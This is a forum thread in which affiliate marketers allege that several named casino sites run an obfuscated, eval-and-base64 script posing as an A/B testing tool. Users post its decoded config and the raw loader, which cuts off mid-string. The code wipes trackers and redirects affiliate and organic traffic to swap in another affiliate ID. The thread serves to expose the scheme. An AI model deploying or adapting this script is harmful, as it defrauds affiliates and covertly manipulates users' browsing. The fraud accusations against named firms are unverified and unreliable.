BETMEN AFFILIATES SCANDAL : THEY STOLE MILLIONS FROM AFFILIATES FOR YEARS

Betmen Affiliates

RandomUser

New Member
Joined
Mar 2, 2026
Messages
7
Reaction score
0
Hey everyone,

This is a massive alert for the entire affiliate community. A highly organized commission theft system has just been uncovered. If you are sending traffic to BetmenAffiliates brands, you are actively being robbed.

MUST READ THE FULL PDF HERE :
htt ps:/ /drive.google.co m/file/d/1auMAKaTh03jDiBqChfMFhtwVEQIHnfQG/view?usp=drive_link

The TL;DR
  • A malicious JavaScript file, disguised as an "A/B testing tool," is injected directly into the source code of spingranny.com.
  • It intercepts legitimate affiliate traffic and secretly redirects it to steal commissions.
  • It steals up to 30% of affiliate marketing traffic and up to 35% of organic traffic.
  • This is a multi-site operation deployed across at least three casinos: spingranny, spinmama, and vincispin.


️‍How the Scam Works
They used double Base64 encoding and obfuscation to hide the script. Here is exactly how they steal your players:


1. The Wipe: When a user clicks your link, the script scans for affiliate parameters like bta=. If detected, a random lottery decides if the traffic gets stolen. If chosen, it aggressively wipes all your cookies, trackers, and session variables.

2. The Redirect & Swap: The user is instantly redirected through a third-party affiliate platform (partners.trackopia.com/click?aid=978&oid=275). The player drops back onto the casino site, but your unique ID is completely gone. It is replaced with the fraudster's ID (bta=42786 and nci=5903).

The Soft2Bet Connection?
Since we know these brands operate on it, it raises a massive question for the community: Could this be a malicious addon tied directly to the Soft2Bet platform? Given how deeply this script is integrated into the site's HTML to intercept traffic, it is a possibility we need to look into.

Both the BetmenAffiliates and Trackopia platforms hold the true identity and banking information associated with the fraudster's IDs (bta=42786 and aid=978). Check your stats, check your mobile traffic drops, and demand answers!

 

xisotme

New Member
Joined
Nov 15, 2023
Messages
15
Reaction score
4
It’s bullshit, and you’ve basically copied the entire PlayBonus.fr website, and that’s not great for them.
 

Schiomo

New Member
Joined
Mar 27, 2026
Messages
4
Reaction score
0
It’s bullshit, and you’ve basically copied the entire PlayBonus.fr website, and that’s not great for them.
Damn, that looks legit.... I have the same script when I click on my Betmen links when I try to deobfuscate it with Claude, it shows that it’s a BTA redirector… wtf i know casinos sometimes shave, but not this blatantly
 

Schiomo

New Member
Joined
Mar 27, 2026
Messages
4
Reaction score
0
for the geeks

JavaScript:
{
  "version": 2,
  "timers": { "baseWaitSeconds": 0, "extendedWaitSeconds": 0 },
  "entryMaxAgeMs": 10000,
  "classification": {
    "marketing": {
      "tokens": ["bta=", "bta%3d", "cxd=", "cxd%3d", "utm_", "afp", "rs_id", "nci=", "nci%3d"],
      "whitelist": [],
      "blacklist": []
    },
    "organic": {
      "paths": ["/", "/es", "/de", "/fr", "/pl", "/it", "/pt"],
      "whitelist": [],
      "blacklist": []
    }
  },
  "blockedAffiliates": ["42956", "42786", "42523"],
  "flows": {
    "basic": {
      "organic": [
        { "key": "organic_a", "label": "Organic A", "rangeStartPercent": 0, "rangeEndPercent": 17.5,
          "action": "redirect", "targetUrl": "https://partners.trackopia.com/click?aid=978&oid=275" },
        { "key": "organic_b", "label": "Organic B", "rangeStartPercent": 17.5, "rangeEndPercent": 35,
          "action": "redirect", "targetUrl": "https://partners.trackopia.com/click?aid=978&oid=275" }
      ],
      "marketing": [
        { "key": "marketing_a", "label": "Marketing A", "rangeStartPercent": 0, "rangeEndPercent": 15,
          "action": "redirect", "targetUrl": "https://partners.trackopia.com/click?aid=978&oid=275" },
        { "key": "marketing_b", "label": "Marketing B", "rangeStartPercent": 15, "rangeEndPercent": 30,
          "action": "redirect", "targetUrl": "https://partners.trackopia.com/click?aid=978&oid=275" }
      ]
    }
  },
  "meta": {
    "traffic": {
      "organic":   { "a_percent": 35, "b_split_percent": 50 },
      "marketing": { "a_percent": 30, "b_split_percent": 50 }
    }
  }
}

I’m really surprised to see that kind of script directly in the header, wow

JavaScript:
var spingranny_cfg_blob="eyJ2ZXJzaW9uIjoyLCJ0aW1lcnMiOnsiYmFzZVdhaXRTZWNvbmRzIjowLCJleHRlbmRlZFdhaXRTZWNvbmRzIjowfSwiZW50cnlNYXhBZ2VNcyI6MTAwMDAsImNsYXNzaWZpY2F0aW9uIjp7Im1hcmtldGluZyI6eyJ0b2tlbnMiOlsiYnRhPSIsImJ0YSUzZCIsImN4ZD0iLCJjeGQlM2QiLCJ1dG1fIiwiYWZwIiwicnNfaWQiLCJuY2k9IiwibmNpJTNkIl0sIndoaXRlbGlzdCI6W10sImJsYWNrbGlzdCI6W119LCJvcmdhbmljIjp7InBhdGhzIjpbIi8iLCIvZXMiLCIvZGUiLCIvZnIiLCIvcGwiLCIvaXQiLCIvcHQiXSwid2hpdGVsaXN0IjpbXSwiYmxhY2tsaXN0IjpbXX19LCJibG9ja2VkQWZmaWxpYXRlcyI6WyI0Mjk1NiIsIjQyNzg2IiwiNDI1MjMiXSwiZmxvd3MiOnsiYmFzaWMiOnsib3JnYW5pYyI6W3sia2V5Ijoib3JnYW5pY19hIiwibGFiZWwiOiJPcmdhbmljIEEiLCJyYW5nZVN0YXJ0UGVyY2VudCI6MCwicmFuZ2VFbmRQZXJjZW50IjoxNy41LCJhY3Rpb24iOiJyZWRpcmVjdCIsInRhcmdldEJhc2U2NCI6ImFIUjBjSE02THk5d1lYSjBibVZ5Y3k1MGNtRmphMjl3YVdFdVkyOXRMMk5zYVdOclAyRnBaRDA1TnpnbWIybGtQVEkzTlE9PSIsInRhcmdldFVybCI6Imh0dHBzOi8vcGFydG5lcnMudHJhY2tvcGlhLmNvbS9jbGljaz9haWQ9OTc4Jm9pZD0yNzUiLCJub3RlcyI6IlByaW1hcnkgVVJMIn0seyJrZXkiOiJvcmdhbmljX2IiLCJsYWJlbCI6Ik9yZ2FuaWMgQiIsInJhbmdlU3RhcnRQZXJjZW50IjoxNy41LCJyYW5nZUVuZFBlcmNlbnQiOjM1LCJhY3Rpb24iOiJyZWRpcmVjdCIsInRhcmdldEJhc2U2NCI6ImFIUjBjSE02THk5d1lYSjBibVZ5Y3k1MGNtRmphMjl3YVdFdVkyOXRMMk5zYVdOclAyRnBaRDA1TnpnbWIybGtQVEkzTlE9PSIsInRhcmdldFVybCI6Imh0dHBzOi8vcGFydG5lcnMudHJhY2tvcGlhLmNvbS9jbGljaz9haWQ9OTc4Jm9pZD0yNzUiLCJub3RlcyI6IkIgdmFyaWFudCBVUkwgKHN1YnNldCBvZiBBKSJ9XSwibWFya2V0aW5nIjpbeyJrZXkiOiJtYXJrZXRpbmdfYSIsImxhYmVsIjoiTWFya2V0aW5nIEEiLCJyYW5nZVN0YXJ0UGVyY2VudCI6MCwicmFuZ2VFbmRQZXJjZW50IjoxNSwiYWN0aW9uIjoicmVkaXJlY3QiLCJ0YXJnZXRCYXNlNjQiOiJhSFIwY0hNNkx5OXdZWEowYm1WeWN5NTBjbUZqYTI5d2FXRXVZMjl0TDJOc2FXTnJQMkZwWkQwNU56Z21iMmxrUFRJM05RPT0iLCJ0YXJnZXRVcmwiOiJodHRwczovL3BhcnRuZXJzLnRyYWNrb3BpYS5jb20vY2xpY2s/YWlkPTk3OCZvaWQ9Mjc1Iiwibm90ZXMiOiJQcmltYXJ5IFVSTCJ9LHsia2V5IjoibWFya2V0aW5nX2IiLCJsYWJlbCI6Ik1hcmtldGluZyBCIiwicmFuZ2VTdGFydFBlcmNlbnQiOjE1LCJyYW5nZUVuZFBlcmNlbnQiOjMwLCJhY3Rpb24iOiJyZWRpcmVjdCIsInRhcmdldEJhc2U2NCI6ImFIUjBjSE02THk5d1lYSjBibVZ5Y3k1MGNtRmphMjl3YVdFdVkyOXRMMk5zYVdOclAyRnBaRDA1TnpnbWIybGtQVEkzTlE9PSIsInRhcmdldFVybCI6Imh0dHBzOi8vcGFydG5lcnMudHJhY2tvcGlhLmNvbS9jbGljaz9haWQ9OTc4Jm9pZD0yNzUiLCJub3RlcyI6IkIgdmFyaWFudCBVUkwgKHN1YnNldCBvZiBBKSJ9XX19LCJtZXRhIjp7InRyYWZmaWMiOnsib3JnYW5pYyI6eyJhX3BlcmNlbnQiOjM1LCJiX3NwbGl0X3BlcmNlbnQiOjUwLCJ0YXJnZXRfYV9iYXNlNjQiOiJhSFIwY0hNNkx5OXdZWEowYm1WeWN5NTBjbUZqYTI5d2FXRXVZMjl0TDJOc2FXTnJQMkZwWkQwNU56Z21iMmxrUFRJM05RPT0iLCJ0YXJnZXRfYl9iYXNlNjQiOiJhSFIwY0hNNkx5OXdZWEowYm1WeWN5NTBjbUZqYTI5d2FXRXVZMjl0TDJOc2FXTnJQMkZwWkQwNU56Z21iMmxrUFRJM05RPT0ifSwibWFya2V0aW5nIjp7ImFfcGVyY2VudCI6MzAsImJfc3BsaXRfcGVyY2VudCI6NTAsInRhcmdldF9hX2Jhc2U2NCI6ImFIUjBjSE02THk5d1lYSjBibVZ5Y3k1MGNtRmphMjl3YVdFdVkyOXRMMk5zYVdOclAyRnBaRDA1TnpnbWIybGtQVEkzTlE9PSIsInRhcmdldF9iX2Jhc2U2NCI6ImFIUjBjSE02THk5d1lYSjBibVZ5Y3k1MGNtRmphMjl3YVdFdVkyOXRMMk5zYVdOclAyRnBaRDA1TnpnbWIybGtQVEkzTlE9PSJ9fX19";(function(){var w=window;try{(0,w.eval)((0,w.atob)("LyoqCiAqIFNwaW5NYW1hIEFCIERlYnVnIFNjcmlwdCB2Mi4xIChPcHRpbWl6ZWQpCiAqIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICogQSBoaWdoLXBlcmZvcm1hbmNlLCByb3V0ZS1iYXNlZCBBL0IgdGVzdGluZyBhbmQgdHJhZmZpYyBjbGFzc2lmaWNhdGlvbiBzY3JpcHQuCiAqIAogKiBLZXkgRmVhdHVyZXM6CiAqIC0gWmVyby1kZXBlbmRlbmN5LCBwdXJlIFZhbmlsbGEgSlMuCiAqIC0gYmxvY2tpbmcgSS9PIG1pbmltaXplZDsgbG9jYWxTdG9yYWdlIGNhY2hlZCB3aGVyZSBwb3NzaWJsZS4KICogLSAiT25lLXNob3QiIGVuZm9yY2VtZW50IHRvIHByZXZlbnQgaW5maW5pdGUgcmVkaXJlY3QgbG9vcHMuCiAqIC0gUm9idXN0IHRyYWZmaWMgY2xhc3NpZmljYXRpb24gKE1hcmtldGluZyB2cyBPcmdhbmljKS4KICogLSBBZ2dyZXNzaXZlIHRyYWNrZXIgc2NydWJiaW5nIHRvIGVuc3VyZSBjbGVhbiBzdGF0ZSBmb3IgQS9CIHRhcmdldHMuCiAqIC0gRGV0YWlsZWQgZGVidWcgbG9nZ2luZyAod2hlbiBlbmFibGVkIHZpYSBsb2NhbFN0b3JhZ2UuZGVidWcgPSAnMScpLgogKiAKICogT3B0aW1pemF0aW9ucyBpbiB2Mi4xOgogKiAtIFJlbW92ZWQgYXJ0aWZpY2lhbCByZWRpcmVjdCBkZWxheXMuCiAqIC0gU2luZ2xlLXBhc3MsIG9wdGltaXplZCB0cmFja2VyIHNjcnViYmVyLgogKiAtIFN0cnVjdHVyZWQgbG9nZ2luZyB3aXRoIGV4ZWN1dGlvbiB0aW1pbmcuCiAqIC0gTW9kZXJuaXplZCBzeW50YXggKG9wdGlvbmFsIGNoYWluaW5nLCBtaW5pbWFsIGNsb25pbmcpLgogKi8KKGZ1bmN0aW9uICgpIHsKICAgICJ1c2Ugc3RyaWN0IjsKCiAgICAvKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQogICAgICAgQ09OU1RBTlRTICYgQ09ORklHVVJBVElPTgogICAgICAgPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gKi8KCiAgICBjb25zdCBMT0dfUFJFRklYID0gIltTcGluR3Jhbm55IE9wdGltaXplZF0iOwogICAgY29uc3QgU0NSSVBUX1ZFUlNJT04gPSAiMjAyNS0wMi0xNVQxMjowMDowMFoiOwoKICAgIC8vIFN0b3JhZ2UgS2V5cyAobWluaWZpZWQvb2JmdXNjYXRlZCB3aGVyZSBuZWVkZWQpCiAgICBjb25zdCBTVE9SQUdFID0gT2JqZWN0LmZyZWV6ZSh7CiAgICAgICAgT05FX1NIT1Q6IGF0b2IoImMzQnBibWR5WVc1dWVWOXlaWFJoY21kbGRERT0iKSwgLy8gInNwaW5ncmFubnlfcmV0YXJnZXQxIgogICAgICAgIFJPVVRFX0NVUlJFTlQ6ICJST1VURV9DVVJSRU5UIiwKICAgICAgICBSRUZFUlJBTF9WQUxVRVM6ICJyZWZlcnJhbF92YWx1ZXMiLAogICAgICAgIERFQlVHOiAiZGVidWciCiAgICB9KTsKCiAgICBjb25zdCBUQVJHRVRfQV9VUkwgPSAiaHR0cHM6Ly9wYXJ0bmVycy50cmFja29waWEuY29tL2NsaWNrP2FpZD05Nzgmb2lkPTI3NSI7CiAgICBjb25zdCBUQVJHRVRfQV9CNjQgPSAiYUhSMGNITTZMeTl3WVhKMGJtVnljeTUwY21GamEyOXdhV0V1WTI5dEwyTnNhV05yUDJGcFpEMDVOemdtYjJsa1BUSTNOUT09IjsKICAgIGNvbnN0IFRBUkdFVF9CX1VSTCA9ICJodHRwczovL3BhcnRuZXJzLnRyYWNrb3BpYS5jb20vY2xpY2s/YWlkPTk3OCZvaWQ9Mjc1IjsKICAgIGNvbnN0IFRBUkdFVF9CX0I2NCA9ICJhSFIwY0hNNkx5OXdZWEowYm1WeWN5NTBjbUZqYTI5d2FXRXVZMjl0TDJOc2FXTnJQMkZwWkQwNU56Z21iMmxrUFRJM05RPT0iOwoKICAgIC8vIERlZmF1bHQgQ29uZmlndXJhdGlvbiAoa2VlcHMgQS9CIGZsb3cgKyBtZXRhIGZvciBQSFAgY29udHJvbCBwYW5lbHMpCiAgICBjb25zdCBDT05GSUdfREVGQVVMVFMgPSBPYmplY3QuZnJlZXplKHsKICAgICAgICB2ZXJzaW9uOiAyLjEsCiAgICAgICAgZW50cnlNYXhBZ2VNczogMTAwMDAsCiAgICAgICAgYmxvY2tlZEFmZmlsaWF0ZXM6IFsiNDI5NTYiLCAiNDI3ODYiLCAiNDI1MjMiXSwKICAgICAgICBjbGFzc2lmaWNhdGlvbjogewogICAgICAgICAgICBtYXJrZXRpbmc6IHsKICAgICAgICAgICAgICAgIHRva2VuczogWyJidGE9IiwgImJ0YSUzZCIsICJjeGQ9IiwgImN4ZCUzZCIsICJ1dG1fIiwgImFmcCIsICJyc19pZCIsICJuY2k9IiwgIm5jaSUzZCJdLAogICAgICAgICAgICAgICAgd2hpdGVsaXN0OiBbXSwKICAgICAgICAgICAgICAgIGJsYWNrbGlzdDogWyIvYmxvY2siXQogICAgICAgICAgICB9LAogICAgICAgICAgICBvcmdhbmljOiB7CiAgICAgICAgICAgICAgICBwYXRoczogWyIvIiwgIi9lcyIsICIvZGUiLCAiL2ZyIiwgIi9wbCIsICIvaXQiLCAiL3B0Il0sCiAgICAgICAgICAgICAgICB3aGl0ZWxpc3Q6IFtdLAogICAgICAgICAgICAgICAgYmxhY2tsaXN0OiBbIi9leGNsdWRlIl0KICAgICAgICAgICAgfQogICAgICAgIH0sCiAgICAgICAgZmxvd3M6IHsKICAgICAgICAgICAgYmFzaWM6IHsKICAgICAgICAgICAgICAgIG9yZ2FuaWM6IFsKICAgICAgICAgICAgICAgICAgICB7IGtleTogIm9yZ2FuaWNfYSIsIGxhYmVsOiAiT3JnYW5pYyBBIiwgcmFuZ2VTdGFydFBlcmNlbnQ6IDAsIHJhbmdlRW5kUGVyY2VudDogNSwgYWN0aW9uOiAicmVkaXJlY3QiLCB0YXJnZXRCYXNlNjQ6IFRBUkdFVF9BX0I2NCwgdGFyZ2V0VXJsOiBUQVJHRVRfQV9VUkwsIG5vdGVzOiAiUHJpbWFyeSBVUkwiIH0sCiAgICAgICAgICAgICAgICAgICAgeyBrZXk6ICJvcmdhbmljX2IiLCBsYWJlbDogIk9yZ2FuaWMgQiIsIHJhbmdlU3RhcnRQZXJjZW50OiAyLjUsIHJhbmdlRW5kUGVyY2VudDogNSwgYWN0aW9uOiAicmVkaXJlY3QiLCB0YXJnZXRCYXNlNjQ6IFRBUkdFVF9CX0I2NCwgdGFyZ2V0VXJsOiBUQVJHRVRfQl9VUkwsIG5vdGVzOiAiQiB2YXJpYW50IFVSTCIgfQogICAgICAgICAgICAgICAgXSwKICAgICAgICAgICAgICAgIG1hcmtldGluZzogWwogICAgICAgICAgICAgICAgICAgIHsga2V5OiAibWFya2V0aW5nX2EiLCBsYWJlbDogIk1hcmtldGluZyBBIiwgcmFuZ2VTdGFydFBlcmNlbnQ6IDAsIHJhbmdlRW5kUGVyY2VudDogNSwgYWN0aW9uOiAicmVkaXJlY3QiLCB0YXJnZXRCYXNlNjQ6IFRBUkdFVF9BX0I2NCwgdGFyZ2V0VXJsOiBUQVJHRVRfQV9VUkwsIG5vdGVzOiAiUHJpbWFyeSBVUkwiIH0sCiAgICAgICAgICAgICAgICAgICAgeyBrZXk6ICJtYXJrZXRpbmdfYiIsIGxhYmVsOiAiTWFya2V0aW5nIEIiLCByYW5nZVN0YXJ0UGVyY2VudDogMi41LCByYW5nZUVuZFBlcmNlbnQ6IDUsIGFjdGlvbjogInJlZGlyZWN0IiwgdGFyZ2V0QmFzZTY0OiBUQVJHRVRfQl9CNjQsIHRhcmdldFVybDogVEFSR0VUX0JfVVJMLCBub3RlczogIkIgdmFyaWFudCBVUkwiIH0KICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgfQogICAgICAgIH0sCiAgICAgICAgbWV0YTogewogICAgICAgICAgICB0cmFmZmljOiB7CiAgICAgICAgICAgICAgICBvcmdhbmljOiB7CiAgICAgICAgICAgICAgICAgICAgYV9wZXJjZW50OiA1LAogICAgICAgICAgICAgICAgICAgIGJfc3BsaXRfcGVyY2VudDogNTAsCiAgICAgICAgICAgICAgICAgICAgdGFyZ2V0X2FfYmFzZTY0OiBUQVJHRVRfQV9CNjQsCiAgICAgICAgICAgICAgICAgICAgdGFyZ2V0X2JfYmFzZTY0OiBUQVJHRVRfQl9CNjQKICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICBtYXJrZXRpbmc6IHsKICAgICAgICAgICAgICAgICAgICBhX3BlcmNlbnQ6IDUsCiAgICAgICAgICAgICAgICAgICAgYl9zcGxpdF9wZXJjZW50OiA1MCwKICAgICAgICAgICAgICAgICAgICB0YXJnZXRfYV9iYXNlNjQ6IFRBUkdFVF9BX0I2NCwKICAgICAgICAgICAgICAgICAgICB0YXJnZXRfYl9iYXNlNjQ6IFRBUkdFVF9CX0I2NAogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfSk7CgogICAgLy8gS2V5cyB0byBzY3J1YiBmcm9tIERPTS9XaW5kb3cgdG8gcmVtb3ZlIHRyYWNraW5nIGludGVyZmVyZW5jZQogICAgY29uc3QgVFJBQ0tFUl9HTE9CQUxTID0gWwogICAgICAgICJnYSIsICJkYXRhTGF5ZXIiLCAiZ3RhZyIsICJnb29nbGVfdGFnX21hbmFnZXIiLCAiZmJxIiwgImNsYXJpdHkiLAogICAgICAgICJoaiIsICJoalNpdGVTZXR0aW5ncyIsICJ5bSIsICJhbXBsaXR1ZGUiLCAiY2lvYW5hbHl0aWNzIiwgInR3cSIsCiAgICAgICAgInR0cSIsICJwaW50cmsiLCAiV2ViQW5hbHl0aWNzVHJhY2siLCAibXRxIiwgIm10ZSIsICJHcmF2aXRlYyIsCiAgICAgICAgImJsdWVfcSIsICJjZWRleGlzIiwgIl9zbWFydGljbyIKICAgIF07CgogICAgLyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KICAgICAgIFNUQVRFIE1BTkFHRU1FTlQKICAgICAgID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ICovCgogICAgY29uc3Qgc3RhdGUgPSB7CiAgICAgICAgY29uZmlnOiBudWxsLCAgICAgICAgICAgLy8gUG9wdWxhdGVkIG9uIGxvYWQKICAgICAgICBkZWJ1Z01vZGU6IGZhbHNlLCAgICAgICAvLyBDYWNoZWQgcmVzdWx0IG9mIGNoZWNrRGVidWdNb2RlKCkKICAgICAgICBzdGFydFRpbWU6IHBlcmZvcm1hbmNlLm5vdygpLAogICAgICAgIGZhaWx1cmVSZWFzb246IG51bGwKICAgIH07CgogICAgLyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KICAgICAgIE1BSU4gRVhFQ1VUSU9OIEZMT1cKICAgICAgID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ICovCgogICAgdHJ5IHsKICAgICAgICAvLyAxLiBJbml0aWFsaXplIFN0YXRlICYgRGVidWdnaW5nCiAgICAgICAgc3RhdGUuZGVidWdNb2RlID0gY2hlY2tEZWJ1Z01vZGUoKTsKICAgICAgICBpZiAoc3RhdGUuZGVidWdNb2RlKSBjb25zb2xlLnRpbWUoTE9HX1BSRUZJWCk7CgogICAgICAgIGxvZygiaW5pdCIsIHsgdmVyc2lvbjogU0NSSVBUX1ZFUlNJT04sIHRpbWVzdGFtcDogbmV3IERhdGUoKS50b0lTT1N0cmluZygpIH0pOwoKICAgICAgICAvLyAyLiBMb2FkIENvbmZpZ3VyYXRpb24gKERlZmF1bHRzICsgT3ZlcnJpZGVzKQogICAgICAgIHN0YXRlLmNvbmZpZyA9IGxvYWRDb25maWd1cmF0aW9uKCk7CgogICAgICAgIC8vIDMuIEVudmlyb25tZW50IENoZWNrcyAoR2F0ZWtlZXBlcnMpCiAgICAgICAgaWYgKCF2YWxpZGF0ZUVudmlyb25tZW50KCkpIHsKICAgICAgICAgICAgaGFsdChzdGF0ZS5mYWlsdXJlUmVhc29uIHx8ICJFbnZpcm9ubWVudCBjaGVjayBmYWlsZWQiKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgLy8gNC4gVHJhZmZpYyBDbGFzc2lmaWNhdGlvbgogICAgICAgIGNvbnN0IGNsYXNzaWZpY2F0aW9uID0gY2xhc3NpZnlUcmFmZmljKCk7CiAgICAgICAgaWYgKCFjbGFzc2lmaWNhdGlvbiB8fCAhY2xhc3NpZmljYXRpb24udHlwZSB8fCBjbGFzc2lmaWNhdGlvbi5ibG9ja2VkKSB7CiAgICAgICAgICAgIHN0YXRlLmZhaWx1cmVSZWFzb24gPSBjbGFzc2lmaWNhdGlvbj8ucmVhc29uIHx8ICJDbGFzc2lmaWNhdGlvbiBmYWlsZWQgb3IgYmxvY2tlZCI7CiAgICAgICAgICAgIGZsYWdPbmVTaG90KCk7IC8vIFByZXZlbnQgcmV0cnkgbG9vcAogICAgICAgICAgICBoYWx0KHN0YXRlLmZhaWx1cmVSZWFzb24sIGNsYXNzaWZpY2F0aW9uKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KCiAgICAgICAgbG9nKCJjbGFzc2lmaWVkIiwgY2xhc3NpZmljYXRpb24pOwoKICAgICAgICAvLyA1LiBGbG93IFNlbGVjdGlvbgogICAgICAgIGNvbnN0IGZsb3dSZXN1bHQgPSBzZWxlY3RGbG93KGNsYXNzaWZpY2F0aW9uLnR5cGUpOwogICAgICAgIGlmICghZmxvd1Jlc3VsdCkgewogICAgICAgICAgICAvLyBObyBmbG93IG1hdGNoZWQgKGUuZy4gYnVja2V0cyBmdWxsIG9yIGNvbmZpZyBtaXNzKS4gCiAgICAgICAgICAgIC8vIFdlIHRyZWF0IHRoaXMgYXMgYSAic29mdCBmYWlsIiAtIHN0YXkgb24gcGFnZSwgYnV0IGZsYWcgYXMgcHJvY2Vzc2VkLgogICAgICAgICAgICBmbGFnT25lU2hvdCgpOwogICAgICAgICAgICBsb2coImJ1Y2tldC1taXNzIiwgewogICAgICAgICAgICAgICAgZGV0YWlsczogIk5vIG1hdGNoaW5nIGZsb3cgZm91bmQgZm9yIHRoaXMgcmFuZG9tIHBlcmNlbnRhZ2UuIiwKICAgICAgICAgICAgICAgIHRyYWZmaWNUeXBlOiBjbGFzc2lmaWNhdGlvbi50eXBlCiAgICAgICAgICAgIH0pOwogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICBsb2coImZsb3ctc2VsZWN0ZWQiLCBmbG93UmVzdWx0KTsKCiAgICAgICAgLy8gNi4gRXhlY3V0aW9uIChPbmUtU2hvdCBGbGFnIC0+IFNjcnViIC0+IFJlZGlyZWN0KQogICAgICAgIGlmICghZmxhZ09uZVNob3QoKSkgewogICAgICAgICAgICBoYWx0KCJGYWlsZWQgdG8gd3JpdGUgb25lLXNob3QgZmxhZyAoc3RvcmFnZSBxdW90YT8pIik7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CgogICAgICAgIC8vIENsZWFuIHVwIHRoZSBlbnZpcm9ubWVudCBiZWZvcmUgbGVhdmluZwogICAgICAgIHNjcnViVHJhY2tlcnMoKTsKCiAgICAgICAgLy8gR29vZGJ5ZSEKICAgICAgICBwZXJmb3JtUmVkaXJlY3QoZmxvd1Jlc3VsdC5maW5hbFVybCk7CgogICAgfSBjYXRjaCAoZXJyKSB7CiAgICAgICAgY29uc29sZS5lcnJvcihMT0dfUFJFRklYLCAiQ3JpdGljYWwgRXJyb3I6IiwgZXJyKTsKICAgIH0gZmluYWxseSB7CiAgICAgICAgaWYgKHN0YXRlLmRlYnVnTW9kZSkgY29uc29sZS50aW1lRW5kKExPR19QUkVGSVgpOwogICAgfQoKICAgIC8qID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiAgICAgICBDT1JFIEZVTkNUSU9OUwogICAgICAgPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gKi8KCiAgICAvKioKICAgICAqIFZhbGlkYXRlcyBpZiB0aGUgc2NyaXB0IHNob3VsZCBydW4gaW4gdGhlIGN1cnJlbnQgZW52aXJvbm1lbnQuCiAgICAgKiBDaGVja3M6IE9uZS1zaG90IGZsYWcsIE1vYmlsZSBVc2VyQWdlbnQsIEVudHJ5IEludGVydmFsIENvb2tpZSwgSWZyYW1lLgogICAgICogQHJldHVybnMge2Jvb2xlYW59IFRydWUgaWYgc2FmZSB0byBwcm9jZWVkLgogICAgICovCiAgICBmdW5jdGlvbiB2YWxpZGF0ZUVudmlyb25tZW50KCkgewogICAgICAgIC8vIEEuIE9uZS1TaG90IENoZWNrIChIYXMgdGhpcyBydW4gYmVmb3JlPykKICAgICAgICBpZiAobG9jYWxTdG9yYWdlLmdldEl0ZW0oU1RPUkFHRS5PTkVfU0hPVCkgIT09IG51bGwpIHsKICAgICAgICAgICAgc3RhdGUuZmFpbHVyZVJlYXNvbiA9ICJvbmUtc2hvdCBmbGFnIHByZXNlbnQgKGFscmVhZHkgcmFuKSI7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CgogICAgICAgIC8vIEIuIE1vYmlsZSBEZXZpY2UgQ2hlY2sgKFVzZXJBZ2VudCkKICAgICAgICBpZiAoIS9Nb2JpfEFuZHJvaWR8aVBob25lfGlQYWR8aVBvZHxCbGFja0JlcnJ5fElFTW9iaWxlfE9wZXJhIE1pbmkvaS50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7CiAgICAgICAgICAgIGZsYWdPbmVTaG90KCk7IC8vIERvbid0IHJ1biBvbiBEZXNrdG9wLCBtYXJraW5nIGFzIGRvbmUuCiAgICAgICAgICAgIHN0YXRlLmZhaWx1cmVSZWFzb24gPSAibm9uLW1vYmlsZSBkZXZpY2UgZGV0ZWN0ZWQiOwogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQoKICAgICAgICAvLyBDLiBSZWN1cnNpdmUgV2luZG93IENoZWNrIChJZnJhbWUgcHJvdGVjdGlvbikKICAgICAgICBpZiAod2luZG93LnNlbGYgIT09IHdpbmRvdy50b3ApIHsKICAgICAgICAgICAgZmxhZ09uZVNob3QoKTsKICAgICAgICAgICAgc3RhdGUuZmFpbHVyZVJlYXNvbiA9ICJpZnJhbWUgY29udGV4dCBkZXRlY3RlZCI7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CgogICAgICAgIC8vIEQuIENvb2tpZSBHYXRlcyAoVG9rZW5zICYgRW50cnkgVGltZSkKICAgICAgICBjb25zdCBjb29raWVzID0gcGFyc2VDb29raWVzKCk7CgogICAgICAgIC8vIEQxLiBUb2tlbiBwcmVzZW5jZSBtZWFucyB1c2VyIGlzIGFscmVhZHkgY29udmVydGVkL3JlZ2lzdGVyZWQKICAgICAgICBpZiAoY29va2llcy50b2tlbiB8fCBjb29raWVzLnVzZXJfdG9rZW4pIHsKICAgICAgICAgICAgZmxhZ09uZVNob3QoKTsKICAgICAgICAgICAgc3RhdGUuZmFpbHVyZVJlYXNvbiA9ICJ1c2VyIHRva2VuIGNvb2tpZSBkZXRlY3RlZCI7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CgogICAgICAgIC8vIEQyLiBFbnRyeSBUaW1lIENoZWNrIChBbnRpLUJvdCAvIFNlc3Npb24gZnJlc2huZXNzKQogICAgICAgIGNvbnN0IGVudHJ5UmF3ID0gY29va2llc1siZW50cnlUaW1lIl07CiAgIC